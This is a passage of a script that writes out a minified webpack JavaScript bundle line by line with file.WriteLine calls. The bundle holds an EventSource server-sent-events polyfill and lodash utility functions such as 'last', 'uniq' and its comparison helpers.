file.WriteLine(" this.target = undefined;");
file.WriteLine(" }");
file.WriteLine(" function MessageEvent(type, options) {");
file.WriteLine(" Event.call(this, type);");
file.WriteLine(" this.data = options.data;");
file.WriteLine(" this.lastEventId = options.lastEventId;");
file.WriteLine(" }");
file.WriteLine(" function EventSource(url, options) {");
file.WriteLine(" EventTarget.call(this);");
file.WriteLine(" this.onopen = undefined;");
file.WriteLine(" this.onmessage = undefined;");
file.WriteLine(" this.onerror = undefined;");
file.WriteLine(" this.url = \"\";");
file.WriteLine(" this.readyState = CONNECTING;");
file.WriteLine(" this.withCredentials = !1;");
file.WriteLine(" this._internal = new EventSourceInternal(this, url,
options);");
file.WriteLine(" }");
file.WriteLine(" function EventSourceInternal(es, url, options) {");
file.WriteLine(" this.url = url.toString();");
file.WriteLine(" this.readyState = CONNECTING;");
file.WriteLine(" this.withCredentials = isCORSSupported && options !=
undefined && Boolean(options.withCredentials);");
file.WriteLine(" this.es = es;");
file.WriteLine(" this.initialRetry = getDuration(1e3, 0);");
file.WriteLine(" this.heartbeatTimeout = getDuration(45e3, 0);");
file.WriteLine(" this.lastEventId = \"\";");
file.WriteLine(" this.retry = this.initialRetry;");
file.WriteLine(" this.wasActivity = !1;");
file.WriteLine(" var CurrentTransport = options != undefined &&
options.Transport != undefined ? options.Transport : Transport, xhr = new
CurrentTransport();");
file.WriteLine(" this.transport = new XHRTransport(xhr, this.onStart,
this.onProgress, this.onFinish, this);");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" this.currentState = WAITING;");
file.WriteLine(" this.dataBuffer = [];");
file.WriteLine(" this.lastEventIdBuffer = \"\";");
file.WriteLine(" this.eventTypeBuffer = \"\";");
file.WriteLine(" this.state = FIELD_START;");
file.WriteLine(" this.fieldStart = 0;");
file.WriteLine(" this.valueStart = 0;");
file.WriteLine(" this.es.url = this.url;");
file.WriteLine(" this.es.readyState = this.readyState;");
file.WriteLine(" this.es.withCredentials = this.withCredentials;");
file.WriteLine(" this.onTimeout();");
file.WriteLine(" }");
file.WriteLine(" function F() {");
file.WriteLine(" this.CONNECTING = CONNECTING;");
file.WriteLine(" this.OPEN = OPEN;");
file.WriteLine(" this.CLOSED = CLOSED;");
file.WriteLine(" }");
file.WriteLine(" var setTimeout = global.setTimeout, clearTimeout =
global.clearTimeout, k = function() {};");
file.WriteLine(" XHRTransport.prototype.open = function(url,
withCredentials) {");
file.WriteLine(" this._internal.open(url, withCredentials);");
file.WriteLine(" };");
file.WriteLine(" XHRTransport.prototype.cancel = function() {");
file.WriteLine(" this._internal.cancel();");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onStart = function() {");
file.WriteLine(" if (1 === this.state) {");
file.WriteLine(" this.state = 2;");
file.WriteLine(" var status = 0, statusText = \"\", contentType =
undefined;");
file.WriteLine(" if (!(\"contentType\" in this.xhr)) try {");
file.WriteLine(" status = this.xhr.status;");
file.WriteLine(" statusText = this.xhr.statusText;");
file.WriteLine(" contentType =
this.xhr.getResponseHeader(\"Content-Type\");");
file.WriteLine(" } catch (error) {");
file.WriteLine(" status = 0;");
file.WriteLine(" statusText = \"\";");
file.WriteLine(" contentType = undefined;");
file.WriteLine(" } else {");
file.WriteLine(" status = 200;");
file.WriteLine(" statusText = \"OK\";");
file.WriteLine(" contentType = this.xhr.contentType;");
file.WriteLine(" }");
file.WriteLine(" if (contentType == undefined) contentType
= \"\";");
file.WriteLine(" this.onStartCallback.call(this.thisArg, status,
statusText, contentType);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onProgress = function() {");
file.WriteLine(" this.onStart();");
file.WriteLine(" if (2 === this.state || 3 === this.state) {");
file.WriteLine(" this.state = 3;");
file.WriteLine(" var responseText = \"\";");
file.WriteLine(" try {");
file.WriteLine(" responseText = this.xhr.responseText;");
file.WriteLine(" } catch (error) {}");
file.WriteLine(" for (var chunkStart = this.charOffset, length =
responseText.length, i = this.offset; i < length; i += 1) {");
file.WriteLine(" var c = responseText.charCodeAt(i);");
file.WriteLine(" if (c === \"\\n\".charCodeAt(0) || c
=== \"\\r\".charCodeAt(0)) this.charOffset = i + 1;");
file.WriteLine(" }");
file.WriteLine(" this.offset = length;");
file.WriteLine(" var chunk = responseText.slice(chunkStart,
this.charOffset);");
file.WriteLine(" this.onProgressCallback.call(this.thisArg,
chunk);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onFinish = function() {");
file.WriteLine(" this.onProgress();");
file.WriteLine(" if (3 === this.state) {");
file.WriteLine(" this.state = 4;");
file.WriteLine(" if (0 !== this.timeout) {");
file.WriteLine(" clearTimeout(this.timeout);");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" }");
file.WriteLine(" this.onFinishCallback.call(this.thisArg);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onReadyStateChange =
function() {");
file.WriteLine(" if (this.xhr != undefined) if (4 ===
this.xhr.readyState) if (0 === this.xhr.status) this.onFinish(); else
this.onFinish(); else if (3 === this.xhr.readyState) this.onProgress(); else if (2
=== this.xhr.readyState) ;");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onTimeout2 = function() {");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" var tmp = /^data\\:([^,]*?)(base64)?,([\\S]*)
$/.exec(this.url), contentType = tmp[1], data = \"base64\" === tmp[2] ?
global.atob(tmp[3]) : decodeURIComponent(tmp[3]);");
file.WriteLine(" if (1 === this.state) {");
file.WriteLine(" this.state = 2;");
file.WriteLine(" this.onStartCallback.call(this.thisArg,
200, \"OK\", contentType);");
file.WriteLine(" }");
file.WriteLine(" if (2 === this.state || 3 === this.state) {");
file.WriteLine(" this.state = 3;");
file.WriteLine(" this.onProgressCallback.call(this.thisArg,
data);");
file.WriteLine(" }");
file.WriteLine(" if (3 === this.state) {");
file.WriteLine(" this.state = 4;");
file.WriteLine(" this.onFinishCallback.call(this.thisArg);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onTimeout1 = function() {");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" this.open(this.url, this.withCredentials);");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.onTimeout0 = function() {");
file.WriteLine(" var that = this;");
file.WriteLine(" this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout0();");
file.WriteLine(" }, 500);");
file.WriteLine(" if (3 === this.xhr.readyState) this.onProgress();");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.handleEvent =
function(event) {");
file.WriteLine(" if (\"load\" === event.type) this.onFinish(); else if
(\"error\" === event.type) this.onFinish(); else if (\"abort\" === event.type)
this.onFinish(); else if (\"progress\" === event.type) this.onProgress(); else if
(\"readystatechange\" === event.type) this.onReadyStateChange();");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.open = function(url,
withCredentials) {");
file.WriteLine(" this.cancel();");
file.WriteLine(" this.url = url;");
file.WriteLine(" this.withCredentials = withCredentials;");
file.WriteLine(" this.state = 1;");
file.WriteLine(" this.charOffset = 0;");
file.WriteLine(" this.offset = 0;");
file.WriteLine(" var that = this;");
file.WriteLine(" if (/^data\\:([^,]*?)(?:;base64)?,[\\S]*$/.exec(url) ==
undefined) if (!(!(\"ontimeout\" in this.xhr) || \"sendAsBinary\" in this.xhr
|| \"mozAnon\" in this.xhr) || global.document == undefined ||
global.document.readyState == undefined || \"complete\" ===
global.document.readyState) {");
file.WriteLine(" this.xhr.onload = function(event) {");
file.WriteLine(" that.handleEvent({");
file.WriteLine(" type: \"load\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" this.xhr.onerror = function() {");
file.WriteLine(" that.handleEvent({");
file.WriteLine(" type: \"error\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" this.xhr.onabort = function() {");
file.WriteLine(" that.handleEvent({");
file.WriteLine(" type: \"abort\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" this.xhr.onprogress = function() {");
file.WriteLine(" that.handleEvent({");
file.WriteLine(" type: \"progress\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" this.xhr.onreadystatechange = function() {");
file.WriteLine(" that.handleEvent({");
file.WriteLine(" type: \"readystatechange\"");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" this.xhr.open(\"GET\", url, !0);");
file.WriteLine(" this.xhr.withCredentials = withCredentials;");
file.WriteLine(" this.xhr.responseType = \"text\";");
file.WriteLine(" if (\"setRequestHeader\" in this.xhr)
this.xhr.setRequestHeader(\"Accept\", \"text/event-stream\");");
file.WriteLine(" try {");
file.WriteLine(" this.xhr.send(undefined);");
file.WriteLine(" } catch (error1) {");
file.WriteLine(" throw error1;");
file.WriteLine(" }");
file.WriteLine(" if (\"readyState\" in this.xhr && global.opera !=
undefined) this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout0();");
file.WriteLine(" }, 0);");
file.WriteLine(" } else this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout1();");
file.WriteLine(" }, 4); else this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout2();");
file.WriteLine(" }, 0);");
file.WriteLine(" };");
file.WriteLine(" XHRTransportInternal.prototype.cancel = function() {");
file.WriteLine(" if (0 !== this.state && 4 !== this.state) {");
file.WriteLine(" this.state = 4;");
file.WriteLine(" this.xhr.onload = k;");
file.WriteLine(" this.xhr.onerror = k;");
file.WriteLine(" this.xhr.onabort = k;");
file.WriteLine(" this.xhr.onprogress = k;");
file.WriteLine(" this.xhr.onreadystatechange = k;");
file.WriteLine(" this.xhr.abort();");
file.WriteLine(" if (0 !== this.timeout) {");
file.WriteLine(" clearTimeout(this.timeout);");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" }");
file.WriteLine(" this.onFinishCallback.call(this.thisArg);");
file.WriteLine(" }");
file.WriteLine(" this.state = 0;");
file.WriteLine(" };");
file.WriteLine(" Map.prototype.get = function(key) {");
file.WriteLine(" return this._data[key + \"~\"];");
file.WriteLine(" };");
file.WriteLine(" Map.prototype.set = function(key, value) {");
file.WriteLine(" this._data[key + \"~\"] = value;");
file.WriteLine(" };");
file.WriteLine(" Map.prototype[\"delete\"] = function(key) {");
file.WriteLine(" delete this._data[key + \"~\"];");
file.WriteLine(" };");
file.WriteLine(" EventTarget.prototype.dispatchEvent = function(event) {");
file.WriteLine(" event.target = this;");
file.WriteLine(" var type = event.type.toString(), listeners =
this._listeners, typeListeners = listeners.get(type);");
file.WriteLine(" if (typeListeners != undefined) for (var length =
typeListeners.length, listener = undefined, i = 0; i < length; i += 1) {");
file.WriteLine(" listener = typeListeners[i];");
file.WriteLine(" try {");
file.WriteLine(" if (\"function\" == typeof
listener.handleEvent) listener.handleEvent(event); else listener.call(this,
event);");
file.WriteLine(" } catch (e) {");
file.WriteLine(" throwError(e);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventTarget.prototype.addEventListener = function(type,
callback) {");
file.WriteLine(" type = type.toString();");
file.WriteLine(" var listeners = this._listeners, typeListeners =
listeners.get(type);");
file.WriteLine(" if (typeListeners == undefined) {");
file.WriteLine(" typeListeners = [];");
file.WriteLine(" listeners.set(type, typeListeners);");
file.WriteLine(" }");
file.WriteLine(" for (var i = typeListeners.length; i >= 0; i -= 1) if
(typeListeners[i] === callback) return;");
file.WriteLine(" typeListeners.push(callback);");
file.WriteLine(" };");
file.WriteLine(" EventTarget.prototype.removeEventListener = function(type,
callback) {");
file.WriteLine(" type = type.toString();");
file.WriteLine(" var listeners = this._listeners, typeListeners =
listeners.get(type);");
file.WriteLine(" if (typeListeners != undefined) {");
file.WriteLine(" for (var length = typeListeners.length, filtered =
[], i = 0; i < length; i += 1) if (typeListeners[i] !== callback)
filtered.push(typeListeners[i]);");
file.WriteLine(" if (0 === filtered.length) listeners[\"delete\"]
(type); else listeners.set(type, filtered);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" MessageEvent.prototype = Event.prototype;");
file.WriteLine(" var XHR = global.XMLHttpRequest, XDR =
global.XDomainRequest, isCORSSupported = XHR != undefined && new
XHR().withCredentials != undefined, Transport = isCORSSupported || XHR != undefined
&& XDR == undefined ? XHR : XDR, WAITING = -1, CONNECTING = 0, OPEN = 1, CLOSED =
2, FIELD_START = 4, contentTypeRegExp = /^text\\/event\\-stream;?
(\\s*charset\\=utf\\-8)?$/i, getDuration = function(value, def) {");
file.WriteLine(" var n = value;");
file.WriteLine(" if (n !== n) n = def;");
file.WriteLine(" return n < 1e3 ? 1e3 : n > 18e6 ? 18e6 : n;");
file.WriteLine(" }, fire = function(that, f, event) {");
file.WriteLine(" try {");
file.WriteLine(" if (\"function\" == typeof f) f.call(that,
event);");
file.WriteLine(" } catch (e) {");
file.WriteLine(" throwError(e);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventSourceInternal.prototype.onStart = function(status,
statusText, contentType) {");
file.WriteLine(" if (this.currentState === CONNECTING) {");
file.WriteLine(" if (contentType == undefined) contentType
= \"\";");
file.WriteLine(" if (200 === status &&
contentTypeRegExp.test(contentType)) {");
file.WriteLine(" this.currentState = OPEN;");
file.WriteLine(" this.wasActivity = !0;");
file.WriteLine(" this.retry = this.initialRetry;");
file.WriteLine(" this.readyState = OPEN;");
file.WriteLine(" this.es.readyState = OPEN;");
file.WriteLine(" var event = new Event(\"open\");");
file.WriteLine(" this.es.dispatchEvent(event);");
file.WriteLine(" fire(this.es, this.es.onopen, event);");
file.WriteLine(" } else if (0 !== status) {");
file.WriteLine(" var message = \"\";");
file.WriteLine(" if (200 !== status) message = \"EventSource's
response has a status \" + status + \" \" + statusText.replace(/\\s+/g, \" \") + \"
that is not 200. Aborting the connection.\"; else message = \"EventSource's
response has a Content-Type specifying an unsupported type: \" +
contentType.replace(/\\s+/g, \" \") + \". Aborting the connection.\";");
file.WriteLine(" throwError(new Error(message));");
file.WriteLine(" this.close();");
file.WriteLine(" var event = new Event(\"error\");");
file.WriteLine(" this.es.dispatchEvent(event);");
file.WriteLine(" fire(this.es, this.es.onerror, event);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventSourceInternal.prototype.onProgress = function(chunk)
{");
file.WriteLine(" if (this.currentState === OPEN) {");
file.WriteLine(" var length = chunk.length;");
file.WriteLine(" if (0 !== length) this.wasActivity = !0;");
file.WriteLine(" for (var position = 0; position < length; position
+= 1) {");
file.WriteLine(" var c = chunk.charCodeAt(position);");
file.WriteLine(" if (3 === this.state && c
=== \"\\n\".charCodeAt(0)) this.state = FIELD_START; else {");
file.WriteLine(" if (3 === this.state) this.state =
FIELD_START;");
file.WriteLine(" if (c === \"\\r\".charCodeAt(0) || c
=== \"\\n\".charCodeAt(0)) {");
file.WriteLine(" if (this.state !== FIELD_START) {");
file.WriteLine(" if (5 === this.state)
this.valueStart = position + 1;");
file.WriteLine(" var field =
chunk.slice(this.fieldStart, this.valueStart - 1), value =
chunk.slice(this.valueStart + (this.valueStart < position &&
chunk.charCodeAt(this.valueStart) === \" \".charCodeAt(0) ? 1 : 0), position);");
file.WriteLine(" if (\"data\" === field)
this.dataBuffer.push(value); else if (\"id\" === field) this.lastEventIdBuffer =
value; else if (\"event\" === field) this.eventTypeBuffer = value; else if
(\"retry\" === field) {");
file.WriteLine(" this.initialRetry =
getDuration(Number(value), this.initialRetry);");
file.WriteLine(" this.retry =
this.initialRetry;");
file.WriteLine(" } else if (\"heartbeatTimeout\" ===
field) {");
file.WriteLine(" this.heartbeatTimeout =
getDuration(Number(value), this.heartbeatTimeout);");
file.WriteLine(" if (0 !== this.timeout) {");
file.WriteLine("
clearTimeout(this.timeout);");
file.WriteLine(" var that = this;");
file.WriteLine(" this.timeout =
setTimeout(function() {");
file.WriteLine(" that.onTimeout();");
file.WriteLine(" },
this.heartbeatTimeout);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (this.state === FIELD_START) {");
file.WriteLine(" if (0 !== this.dataBuffer.length)
{");
file.WriteLine(" this.lastEventId =
this.lastEventIdBuffer;");
file.WriteLine(" if (\"\" ===
this.eventTypeBuffer) this.eventTypeBuffer = \"message\";");
file.WriteLine(" var event = new
MessageEvent(this.eventTypeBuffer, {");
file.WriteLine(" data:
this.dataBuffer.join(\"\\n\"),");
file.WriteLine(" lastEventId:
this.lastEventIdBuffer");
file.WriteLine(" });");
file.WriteLine("
this.es.dispatchEvent(event);");
file.WriteLine(" if (\"message\" ===
this.eventTypeBuffer) fire(this.es, this.es.onmessage, event);");
file.WriteLine(" if (this.currentState ===
CLOSED) return;");
file.WriteLine(" }");
file.WriteLine(" this.dataBuffer.length = 0;");
file.WriteLine(" this.eventTypeBuffer = \"\";");
file.WriteLine(" }");
file.WriteLine(" this.state = c
=== \"\\r\".charCodeAt(0) ? 3 : FIELD_START;");
file.WriteLine(" } else {");
file.WriteLine(" if (this.state === FIELD_START) {");
file.WriteLine(" this.fieldStart = position;");
file.WriteLine(" this.state = 5;");
file.WriteLine(" }");
file.WriteLine(" if (5 === this.state) {");
file.WriteLine(" if (c === \":\".charCodeAt(0)) {");
file.WriteLine(" this.valueStart = position +
1;");
file.WriteLine(" this.state = 6;");
file.WriteLine(" }");
file.WriteLine(" } else if (6 === this.state) this.state
= 7;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventSourceInternal.prototype.onFinish = function() {");
file.WriteLine(" if (this.currentState === OPEN || this.currentState ===
CONNECTING) {");
file.WriteLine(" this.currentState = WAITING;");
file.WriteLine(" if (0 !== this.timeout) {");
file.WriteLine(" clearTimeout(this.timeout);");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" }");
file.WriteLine(" if (this.retry > 16 * this.initialRetry) this.retry
= 16 * this.initialRetry;");
file.WriteLine(" if (this.retry > 18e6) this.retry = 18e6;");
file.WriteLine(" var that = this;");
file.WriteLine(" this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout();");
file.WriteLine(" }, this.retry);");
file.WriteLine(" this.retry = 2 * this.retry + 1;");
file.WriteLine(" this.readyState = CONNECTING;");
file.WriteLine(" this.es.readyState = CONNECTING;");
file.WriteLine(" var event = new Event(\"error\");");
file.WriteLine(" this.es.dispatchEvent(event);");
file.WriteLine(" fire(this.es, this.es.onerror, event);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventSourceInternal.prototype.onTimeout = function() {");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" if (this.currentState === WAITING) {");
file.WriteLine(" this.wasActivity = !1;");
file.WriteLine(" var that = this;");
file.WriteLine(" this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout();");
file.WriteLine(" }, this.heartbeatTimeout);");
file.WriteLine(" this.currentState = CONNECTING;");
file.WriteLine(" this.dataBuffer.length = 0;");
file.WriteLine(" this.eventTypeBuffer = \"\";");
file.WriteLine(" this.lastEventIdBuffer = this.lastEventId;");
file.WriteLine(" this.fieldStart = 0;");
file.WriteLine(" this.valueStart = 0;");
file.WriteLine(" this.state = FIELD_START;");
file.WriteLine(" var s = this.url.slice(0, 5);");
file.WriteLine(" if (\"data:\" !== s && \"blob:\" !== s) s =
this.url + (-1 === this.url.indexOf(\"?\", 0) ? \"?\" : \"&\") + \"lastEventId=\" +
encodeURIComponent(this.lastEventId) + \"&r=\" + (Math.random() +
1).toString().slice(2); else s = this.url;");
file.WriteLine(" try {");
file.WriteLine(" this.transport.open(s,
this.withCredentials);");
file.WriteLine(" } catch (error) {");
file.WriteLine(" this.close();");
file.WriteLine(" throw error;");
file.WriteLine(" }");
file.WriteLine(" } else if (!this.wasActivity) {");
file.WriteLine(" throwError(new Error(\"No activity within \" +
this.heartbeatTimeout + \" milliseconds. Reconnecting.\"));");
file.WriteLine(" this.transport.cancel();");
file.WriteLine(" } else {");
file.WriteLine(" this.wasActivity = !1;");
file.WriteLine(" var that = this;");
file.WriteLine(" this.timeout = setTimeout(function() {");
file.WriteLine(" that.onTimeout();");
file.WriteLine(" }, this.heartbeatTimeout);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" EventSourceInternal.prototype.close = function() {");
file.WriteLine(" this.currentState = CLOSED;");
file.WriteLine(" this.transport.cancel();");
file.WriteLine(" if (0 !== this.timeout) {");
file.WriteLine(" clearTimeout(this.timeout);");
file.WriteLine(" this.timeout = 0;");
file.WriteLine(" }");
file.WriteLine(" this.readyState = CLOSED;");
file.WriteLine(" this.es.readyState = CLOSED;");
file.WriteLine(" };");
file.WriteLine(" F.prototype = EventTarget.prototype;");
file.WriteLine(" EventSource.prototype = new F();");
file.WriteLine(" EventSource.prototype.close = function() {");
file.WriteLine(" this._internal.close();");
file.WriteLine(" };");
file.WriteLine(" F.call(EventSource);");
file.WriteLine(" if (isCORSSupported) EventSource.prototype.withCredentials
= undefined;");
file.WriteLine(" if (Transport != undefined && (global.EventSource ==
undefined || isCORSSupported && !function() {");
file.WriteLine(" return global.EventSource != undefined
&& \"withCredentials\" in global.EventSource.prototype;");
file.WriteLine(" }())) {");
file.WriteLine(" global.NativeEventSource = global.EventSource;");
file.WriteLine(" global.EventSource = EventSource;");
file.WriteLine(" }");
file.WriteLine(" }(\"undefined\" != typeof window ? window : this);");
file.WriteLine("}, , function(module, exports) {");
file.WriteLine(" function last(array) {");
file.WriteLine(" var length = array ? array.length : 0;");
file.WriteLine(" return length ? array[length - 1] : undefined;");
file.WriteLine(" }");
file.WriteLine(" module.exports = last;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function uniq(array, isSorted, iteratee, thisArg) {");
file.WriteLine(" if (!(array ? array.length : 0)) return [];");
file.WriteLine(" if (null != isSorted && \"boolean\" != typeof isSorted)
{");
file.WriteLine(" thisArg = iteratee;");
file.WriteLine(" iteratee = isIterateeCall(array, isSorted, thisArg) ?
undefined : isSorted;");
file.WriteLine(" isSorted = !1;");
file.WriteLine(" }");
file.WriteLine(" iteratee = null == iteratee ? iteratee :
baseCallback(iteratee, thisArg, 3);");
file.WriteLine(" return isSorted ? sortedUniq(array, iteratee) :
baseUniq(array, iteratee);");
file.WriteLine(" }");
file.WriteLine(" var baseCallback = __webpack_require__(426), baseUniq =
__webpack_require__(435), isIterateeCall = __webpack_require__(446), sortedUniq =
__webpack_require__(448);");
file.WriteLine(" module.exports = uniq;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" (function(module, global) {");
file.WriteLine(" var __WEBPACK_AMD_DEFINE_RESULT__;");
file.WriteLine(" (function() {");
file.WriteLine(" function baseCompareAscending(value, other) {");
file.WriteLine(" if (value !== other) {");
file.WriteLine(" var valIsNull = null === value, valIsUndef =
value === undefined, valIsReflexive = value === value, othIsNull = null === other,
othIsUndef = other === undefined, othIsReflexive = other === other;");
file.WriteLine(" if (value > other && !othIsNull || !
valIsReflexive || valIsNull && !othIsUndef && othIsReflexive || valIsUndef &&
othIsReflexive) return 1;");
file.WriteLine(" if (value < other && !valIsNull || !
othIsReflexive || othIsNull && !valIsUndef && valIsReflexive || othIsUndef &&
valIsReflexive) return -1;");
file.WriteLine(" }");
file.WriteLine(" return 0;");
file.WriteLine(" }");
file.WriteLine(" function baseFindIndex(array, predicate, fromRight)
{");
file.WriteLine(" for (var length = array.length, index = fromRight ?
length : -1; fromRight ? index-- : ++index < length; ) if (predicate(array[index],
index, array)) return index;");
file.WriteLine(" return -1;");
file.WriteLine(" }");
file.WriteLine(" function baseIndexOf(array, value, fromIndex) {");
file.WriteLine(" if (value !== value) return indexOfNaN(array,
fromIndex);");
file.WriteLine(" for (var index = fromIndex - 1, length =
array.length; ++index < length; ) if (array[index] === value) return index;");
file.WriteLine(" return -1;");
file.WriteLine(" }");
file.WriteLine(" function baseIsFunction(value) {");
file.WriteLine(" return \"function\" == typeof value || !1;");
file.WriteLine(" }");
file.WriteLine(" function baseToString(value) {");
file.WriteLine(" return null == value ? \"\" : value + \"\";");
file.WriteLine(" }");
file.WriteLine(" function charsLeftIndex(string, chars) {");
file.WriteLine(" for (var index = -1, length = string.length; +
+index < length && chars.indexOf(string.charAt(index)) > -1; ) ;");
file.WriteLine(" return index;");
file.WriteLine(" }");
file.WriteLine(" function charsRightIndex(string, chars) {");
file.WriteLine(" for (var index = string.length; index-- &&
chars.indexOf(string.charAt(index)) > -1; ) ;");
file.WriteLine(" return index;");
file.WriteLine(" }");
file.WriteLine(" function compareAscending(object, other) {");
file.WriteLine(" return baseCompareAscending(object.criteria,
other.criteria) || object.index - other.index;");
file.WriteLine(" }");
file.WriteLine(" function compareMultiple(object, other, orders) {");
file.WriteLine(" for (var index = -1, objCriteria = object.criteria,
othCriteria = other.criteria, length = objCriteria.length, ordersLength =
orders.length; ++index < length; ) {");
file.WriteLine(" var result =
baseCompareAscending(objCriteria[index], othCriteria[index]);");
file.WriteLine(" if (result) {");
file.WriteLine(" if (index >= ordersLength) return
result;");
file.WriteLine(" var order = orders[index];");
file.WriteLine(" return result * (\"asc\" === order || !0
=== order ? 1 : -1);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return object.index - other.index;");
file.WriteLine(" }");
file.WriteLine(" function deburrLetter(letter) {");
file.WriteLine(" return deburredLetters[letter];");
file.WriteLine(" }");
file.WriteLine(" function escapeHtmlChar(chr) {");
file.WriteLine(" return htmlEscapes[chr];");
file.WriteLine(" }");
file.WriteLine(" function escapeRegExpChar(chr, leadingChar,
whitespaceChar) {");
file.WriteLine(" if (leadingChar) chr = regexpEscapes[chr]; else if
(whitespaceChar) chr = stringEscapes[chr];");
file.WriteLine(" return \"\\\\\" + chr;");
file.WriteLine(" }");
file.WriteLine(" function escapeStringChar(chr) {");
file.WriteLine(" return \"\\\\\" + stringEscapes[chr];");
file.WriteLine(" }");
file.WriteLine(" function indexOfNaN(array, fromIndex, fromRight) {");
file.WriteLine(" for (var length = array.length, index = fromIndex +
(fromRight ? 0 : -1); fromRight ? index-- : ++index < length; ) {");
file.WriteLine(" var other = array[index];");
file.WriteLine(" if (other !== other) return index;");
file.WriteLine(" }");
file.WriteLine(" return -1;");
file.WriteLine(" }");
file.WriteLine(" function isObjectLike(value) {");
file.WriteLine(" return !!value && \"object\" == typeof value;");
file.WriteLine(" }");
file.WriteLine(" function isSpace(charCode) {");
file.WriteLine(" return charCode <= 160 && charCode >= 9 && charCode
<= 13 || 32 == charCode || 160 == charCode || 5760 == charCode || 6158 == charCode
|| charCode >= 8192 && (charCode <= 8202 || 8232 == charCode || 8233 == charCode ||
8239 == charCode || 8287 == charCode || 12288 == charCode || 65279 == charCode);");
file.WriteLine(" }");
file.WriteLine(" function replaceHolders(array, placeholder) {");
file.WriteLine(" for (var index = -1, length = array.length,
resIndex = -1, result = []; ++index < length; ) if (array[index] === placeholder)
{");
file.WriteLine(" array[index] = PLACEHOLDER;");
file.WriteLine(" result[++resIndex] = index;");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function sortedUniq(array, iteratee) {");
file.WriteLine(" for (var seen, index = -1, length = array.length,
resIndex = -1, result = []; ++index < length; ) {");
file.WriteLine(" var value = array[index], computed = iteratee ?
iteratee(value, index, array) : value;");
file.WriteLine(" if (!index || seen !== computed) {");
file.WriteLine(" seen = computed;");
file.WriteLine(" result[++resIndex] = value;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" function trimmedLeftIndex(string) {");
file.WriteLine(" for (var index = -1, length = string.length; +
+index < length && isSpace(string.charCodeAt(index)); ) ;");
file.WriteLine(" return index;");
file.WriteLine(" }");
file.WriteLine(" function trimmedRightIndex(string) {");
file.WriteLine(" for (var index = string.length; index-- &&
isSpace(string.charCodeAt(index)); ) ;");
file.WriteLine(" return index;");
file.WriteLine(" }");
file.WriteLine(" function unescapeHtmlChar(chr) {");
file.WriteLine(" return htmlUnescapes[chr];");
file.WriteLine(" }");
file.WriteLine(" function runInContext(context) {");
file.WriteLine(" function lodash(value) {");
file.WriteLine(" if (isObjectLike(value) && !isArray(value) && !
(value instanceof LazyWrapper)) {");
file.WriteLine(" if (value instanceof LodashWrapper) return
value;");
file.WriteLine(" if
(hasOwnProperty.call(value, \"__chain__\") &&
hasOwnProperty.call(value, \"__wrapped__\")) return wrapperClone(value);");
file.WriteLine(" }");
file.WriteLine(" return new LodashWrapper(value);");
file.WriteLine(" }");
file.WriteLine(" function baseLodash() {}");
file.WriteLine(" function LodashWrapper(value, chainAll, actions)
{");
file.WriteLine(" this.__wrapped__ = value;");
file.WriteLine(" this.__actions__ = actions || [];");
file.WriteLine(" this.__chain__ = !!chainAll;");
file.WriteLine(" }");
file.WriteLine(" function LazyWrapper(value) {");
file.WriteLine(" this.__wrapped__ = value;");
file.WriteLine(" this.__actions__ = [];");
file.WriteLine(" this.__dir__ = 1;");
file.WriteLine(" this.__filtered__ = !1;");
file.WriteLine(" this.__iteratees__ = [];");
file.WriteLine(" this.__takeCount__ = POSITIVE_INFINITY;");
file.WriteLine(" this.__views__ = [];");
file.WriteLine(" }");
file.WriteLine(" function lazyClone() {");
file.WriteLine(" var result = new
LazyWrapper(this.__wrapped__);");
file.WriteLine(" result.__actions__ =
arrayCopy(this.__actions__);");
file.WriteLine(" result.__dir__ = this.__dir__;");
file.WriteLine(" result.__filtered__ = this.__filtered__;");
file.WriteLine(" result.__iteratees__ =
arrayCopy(this.__iteratees__);");
